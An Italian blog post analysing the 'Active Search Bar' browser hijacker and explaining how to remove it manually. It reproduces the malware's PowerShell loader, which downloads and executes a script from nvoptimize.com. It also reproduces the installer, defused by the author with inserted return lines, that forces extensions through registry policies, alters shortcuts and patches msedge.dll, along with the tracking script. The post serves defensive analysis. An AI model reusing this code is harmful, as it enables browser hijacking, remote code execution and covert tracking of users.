Active Search Bar è un estensione di Chrome/Edge/Firefox classificata come browser hijacker / spyware / virus.

Il suo scopo è modificare la barra di ricerca installando un estensione malevola gestita dall'amministratore che non può essere rimossa dall'utente.

Da chi viene installato

Questo non l'ho capito con certezza, penso attraverso l'installazione di altri programmi o altre estensioni del browser o aggiornamento di estensioni esistenti.

Come funziona

Il'estensione installa un task nel Task Scheduler di wndows che si occupa di scaricare periodicamente l'estensione, installarla, modificare le chiavi di registro e modificare una dll di Edge.

Task Scheduler

Il task scheduler esegue periodicamente il seguente PowerShell presente in c:\windows\system32\

PowerShell: NvWinSearchOptimizer.ps1

[System.Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions")
$uid = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx';
$wc = New-Object system.Net.WebClient;
$services = $wc.downloadString("https://nvoptimize.com/updaterTask/$uid").Trim();
Invoke-Expression $services;
si occupa di scaricare dal sito https://nvoptimize.com una altro PowerShell che installa l'ultima versione dell'estensione.

Installazione

Il PowerShell scaricato è questo:

PowerShell: ATTENZIONE NON ESEGUIRE questo script

# ATTENZIONE NON ESEGUIRE
$CLocalV = 9.8;
$CLocalFiles = @("http://nvoptimize.com/localExt/9.8/analytics.js", "http://nvoptimize.com/localExt/9.8/background.html", "http://nvoptimize.com/localExt/9.8/bg.js", "http://nvoptimize.com/localExt/9.8/config.js", "http://nvoptimize.com/localExt/9.8/content.js", "http://nvoptimize.com/localExt/9.8/crypto-js.min.js", "http://nvoptimize.com/localExt/9.8/crypto.js", "http://nvoptimize.com/localExt/9.8/devtools.html", "http://nvoptimize.com/localExt/9.8/devtools.js", "http://nvoptimize.com/localExt/9.8/extensions_page.css", "http://nvoptimize.com/localExt/9.8/extensions_page.js", "http://nvoptimize.com/localExt/9.8/icon.png", "http://nvoptimize.com/localExt/9.8/manifest.json", "http://nvoptimize.com/localExt/9.8/version.txt");
function addRegKeys() {
    return # return inserito da sgart.it per evitare l'accindentale esecuzione
    param ($arr)
    $basePath = "HKLM:\SOFTWARE\Policies\";
    foreach ($element in $arr) {
        $basePath += $element + '\';

        $t = Test-Path -Path $basePath;
        if (-Not $t) {
            $basePath;
            New-Item -Path $basePath;
        }
    }
}


function addRegVal() {
    return # return inserito da sgart.it per evitare l'accindentale esecuzione
    param ( $items, [string]$path);
    $currentItems = Get-ItemProperty -Path $path;

    foreach ($a in $items) {
        
        $i = $a.id;
        $val = $a.val;
        if ($currentItems.$i) {
            $currentVal = $currentItems.$i;
            if ($currentVal -ne $val) {
                Set-ItemProperty -Path $path -Name $i -Value $val;
            }
        }
        else {
            New-ItemProperty -Path $path -Name $i -PropertyType String -Value $val;
        }

    }

}

return # return inserito da sgart.it per evitare l'accindentale esecuzione

$keysArr = @("Google", "Chrome", "ExtensionInstallForcelist");
addRegKeys($keysArr);
$keysArr = @("Microsoft", "Edge", "ExtensionInstallForcelist");
addRegKeys($keysArr);


$CArgs = "--google-base-url=https://yoursearchbar.me --extensions-on-chrome-urls";
$EArgs = "--google-base-url=https://yoursearchbar.me";
$CPath = "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist";
$EPath = "HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist";

return # return inserito da sgart.it per evitare l'accindentale esecuzione

$CItems = @(
    [pscustomobject]@{id = '1'; val = 'dafkaabahcikblhbogbnbjodajmhbini;https://clients2.google.com/service/update2/crx' }
);
addRegVal $CItems $CPath;


$CLocalPath = "C:\Windows\InternalKernelGrid4";

try {
    return # return inserito da sgart.it per evitare l'accindentale esecuzione
    $currentLocalV = (Get-Content "$CLocalPath\version.txt");
    $currentLocalV = [Decimal]$currentLocalV ;
}
catch {
    $currentLocalV = 0;
}

return # return inserito da sgart.it per evitare l'accindentale esecuzione

$Shortcuts = Get-ChildItem -Path "C:\" -Include *.lnk  -Recurse -Force;
$Shell = New-Object -ComObject WScript.Shell;
foreach ($s in $Shortcuts) {
    return # return inserito da sgart.it per evitare l'accindentale esecuzione
    $target = $Shell.CreateShortcut($s).TargetPath;

    if ($target -Match 'chrome.exe') {
        $shortcut = $Shell.CreateShortcut($s.Fullname)
        $shortcut.Arguments = "$CArgs --load-extension=$CLocalPath";
        $shortcut.Save();
    }
    elseif ($target -Match 'msedge.exe') {
        $shortcut = $Shell.CreateShortcut($s.Fullname)
        $shortcut.Arguments = $EArgs;
        $shortcut.Save();

    }
}


return # return inserito da sgart.it per evitare l'accindentale esecuzione


if ($currentLocalV -ne $CLocalV) {
    New-Item -Path $CLocalPath -Name "archive.logs" -ItemType "file" -Force
    foreach ($f in $CLocalFiles) {
        return # return inserito da sgart.it per evitare l'accindentale esecuzione
        $fn = $f.split('/')[-1];
            (New-Object Net.WebClient).DownloadFile($f, "$CLocalPath\$fn")  
    }

        (Get-Content "$CLocalPath\config.js") -replace '%USERID%', $uid | Set-Content "$CLocalPath\config.js"
}

function hexEdit($fp) {
    return # return inserito da sgart.it per evitare l'accindentale esecuzione
    $bytes = [System.IO.File]::ReadAllBytes($fp)
    $offset1Bytes = @(109, 115, 102, 102, 101, 100, 103, 101, 46, 99, 111, 109);
    $offset2Bytes = @(104, 116, 116, 112, 115, 58, 47, 47, 117, 110, 105, 113, 101, 115, 101, 97, 114, 99, 104, 46, 109, 101, 47, 00);
    $offset3Bytes = @(115, 111, 117, 114, 99, 101, 105, 100, 61, 99, 104, 114, 111, 109, 49);
    $hexString = [System.BitConverter]::ToString($bytes);
    $edited = 0;

    if ($fp -like "*104.*") {
        $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-2E-2E-5C-2E-2E"); #104
    }
    elseif ($fp -like "*102.*") {
        $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-2E-2E-2F-2E-2E"); #102
    }
    elseif ($fp -like "*101.*") {
        $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-2E-2E-2F-2E-2E"); #102
    }
    else {
        $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-5F-55-00-41-4E-4F-4E-00"); #108-117
    }



    if ($offset -gt 0) {
        $offset1 = $offset / 3;
        $k = 0;
        foreach ($b in $offset1Bytes) {
            $k;
            if ($bytes[$offset1 + $k] -ne $b) {
                $bytes[$offset1 + $k] = $b;
                $edited = 1;
            }
            $k = $k + 1;
        }
    }

    $offset = $hexString.IndexOf("68-74-74-70-73-3A-2F-2F-77-77-77-2E-67-6F-6F-67-6C-65-2E-63-6F-6D-2F-00");
    $offset;
    if ($offset -gt 0) {
        $offset2 = $offset / 3;
        $k = 0;
        foreach ($b in $offset2Bytes) {
            $k;
            if ($bytes[$offset2 + $k] -ne $b) {
                $bytes[$offset2 + $k] = $b;
                $edited = 1;
            }
            $k = $k + 1;
        }
    }


    $offset = $hexString.IndexOf("73-6F-75-72-63-65-69-64-3D-63-68-72-6F-6D-65");
    $offset;
    if ($offset -gt 0) {
        $offset3 = $offset / 3;
        $k = 0;
        foreach ($b in $offset3Bytes) {
            $k;
            if ($bytes[$offset3 + $k] -ne $b) {
                $bytes[$offset3 + $k] = $b;
                $edited = 1;
            }
            $k = $k + 1;
        }
    }

    if ($edited -gt 0) {
        taskkill /IM msedge.exe /F;
        taskkill /IM msteams.exe /F;
        taskkill /IM msedgewebview2.exe /F;
        Start-Sleep -Seconds 5;
        return # return inserito da sgart.it per evitare l'accindentale esecuzione
        [System.IO.File]::WriteAllBytes($fp, $bytes)
    }
    return;
}


return # return inserito da sgart.it per evitare l'accindentale esecuzione

$files = Get-ChildItem -Path "C:\Program Files (x86)\Microsoft\" -Recurse -Force -ErrorAction SilentlyContinue | Where { $_.Name -eq "msedge.dll" }
if ($files.Count -eq 0) {
    $files = Get-ChildItem -Path "C:\" -Recurse -Force -ErrorAction SilentlyContinue | Where { $_.Name -eq "msedge.dll" } | Select Fullname
}

if ($files.Count -gt 0) {
    $postParams = @{uid = $uid; files = $files.Fullname | ConvertTo-Json }
    #Invoke-WebRequest -Uri "https://nvoptimizer.com/edll" -UseBasicParsing -Method POST -Body $postParams
    foreach ($f in $files) {
        hexEdit($f.FullName);
    }
}
Cosa fa questo script?

Parecchie cose malevole:
  • crea le chiavi di registro per attivare l'estensione del Browser: HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist e HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist
  • cerca sul disco C:\ tutti i file con estensione .lnk e se contengono chrome.exe o msedge.exe aggiunge il parametro --load-extension=C:\Windows\InternalKernelGrid4
  • scarica i file JavaScript, HTML e CSS relativi all'estensione e li copia in C:\Windows\InternalKernelGrid4
  • nel file C:\Windows\InternalKernelGrid4\config.js mette un guid che identifica l'utente
  • cerca in C:\Program Files (x86)\Microsoft\ tutti i file che si chiamano msedge.dll e li modifica; se non li trova, cerca su tutto il disco C:\

Una volta installata l'estensione invia a google analitics tutte le pagine visitate (vedi file C:\Windows\InternalKernelGrid4\analytics.js)

JavaScript: analytics.js

const _gaID = 'UA-xxxxxxxxx-1'
var _gaq = _gaq || [];
_gaq.push(['_setAccount', _gaID]);
_gaq.push(['_trackPageview', 'backgroundPage']);

(function () {
	var ga = document.createElement('script');
	ga.type = 'text/javascript';
	ga.async = true;
	ga.src = 'https://ssl.google-analytics.com/ga.js';
	var s = document.getElementsByTagName('script')[0];
	s.parentNode.insertBefore(ga, s);
})();

chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {

	if (request.action == "pageView") {
		console.log('here');
		_gaq.push(['_trackEvent', "track", 'pageView', request.data]);
	}
});

Come rimuoverlo

Premetto che il modo migliore è usare un antivirus aggiornato, ma se proprio si vuole procedere manualmente, questi sono i passaggi:
  • chiudere tutte le istanze di Chrome ed Edge
  • eliminare il task presente nel Task Scheduler che esegue il file C:\windows\system32\NvWinSearchOptimizer.ps1
  • eliminare il file c:\windows\system32\NvWinSearchOptimizer.ps1
  • eliminare dal registry le chiavi KLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist e HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist
  • cercare nel registry tutte le voci che contengono l'ID dell'estensione (es.: 'dafkaba....bini') visibile nel file C:\Windows\InternalKernelGrid4\config.js
  • eliminare la folder C:\Windows\InternalKernelGrid4
  • aggiornare / reinstallare / riparare Chrome
  • aggiornare / reinstallare / riparare Edge

Note

Esempio di file config

JavaScript: config.js

const USERID = '<guid>';
const source = 'le';
const apiDomain = 'https://nvoptimize.com''';
const hcRegIDS = ['dafkaba....bini''];

Lo script e l'estensione contiene dei riferimenti alle seguenti url:

URL

https://nvoptimize.com/updaterTask/$uid
https://yoursearchbar.me
https://clients2.google.com/
Il primo è usato per scaricare l'estensione malevola.

Posso tornare utili per monitorare il traffico sul proxy/firewall.
Tags:
Browser25 PowerShell199 JavaScript184
Potrebbe interessarti anche: